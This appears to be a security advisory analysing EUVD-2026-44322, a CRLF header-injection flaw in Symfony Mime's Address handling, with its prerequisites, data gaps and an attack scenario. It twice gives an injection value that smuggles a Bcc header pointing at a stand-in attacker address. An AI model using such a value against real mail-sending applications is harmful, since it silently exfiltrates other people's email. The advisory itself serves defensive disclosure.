Symfony Mime EUVD-2026-44322

The concrete prerequisite is that attacker-controlled input must reach the Symfony\Component\Mime\Address constructor - i.e. any of the Mailer to, cc, bcc, from, or reply-to fields - without the application first stripping or rejecting CRLF, and the resulting message must be rendered into headers or dispatched through a transport that emits the address verbatim (notably SmtpTransport, which writes it into MAIL FROM:<...> / RCPT TO:<...>). The specific malicious form required is an RFC-5322 quoted-string local-part containing raw \r\n bytes (e.g. "x\r\nBcc: attacker@evil"@example.com). Limiting factors: exploitation is not possible if all addresses are static/hardcoded or already CRLF-sanitized by the application before reaching Address; the affected library version (< 5.4.52, < 6.4.40, or < 7.4.12) must be in use; and because no CVSS vector is provided, the remote/local nature and any authentication requirement are not confirmed from available data and depend on where in the application the tainted address is accepted.

Real-world risk must be assessed with significant data gaps: no CVSS score or vector, no EPSS probability, no SSVC decision, and no KEV listing are provided, so attack vector, complexity, and privilege requirements cannot be confirmed from the input - they can only be inferred from the description. The practical risk is gated by application design rather than by network reachability: exploitation requires that untrusted, attacker-influenced data reach an Address field (to/cc/bcc/from/reply-to) without prior CRLF sanitization, and that the message then be rendered or sent via a transport that emits the address verbatim. Where an application builds recipient or sender addresses from user-supplied input (a common pattern in signup, contact, and notification flows), this is a meaningful injection primitive enabling silent Bcc exfiltration or SMTP-command manipulation; where addresses are static or hardcoded, the flaw is not reachable. The component is extremely widely deployed, which raises aggregate exposure, but the tag is 'Information Disclosure' and the impact is injection rather than direct code execution. Note explicitly: the absence of CVSS/EPSS/KEV means severity here is qualitative, and the lack of a network-vector confirmation should be verified against your own usage before treating this as remotely exploitable in all deployments.

An application constructs an email's recipient or From address from user-supplied input (e.g. a contact form or account-notification flow) and passes it to Symfony Mailer. The attacker submits a value such as "x\r\nBcc: attacker@evil"@example.com, whose CRLF-laced quoted-string local-part passes the Address constructor and is later emitted verbatim, injecting an unauthorized Bcc header (silently copying outbound mail to the attacker) or an extra SMTP command. No public exploit is identified at time of analysis, and CVSS attack vector/complexity are not available to confirm remote reachability.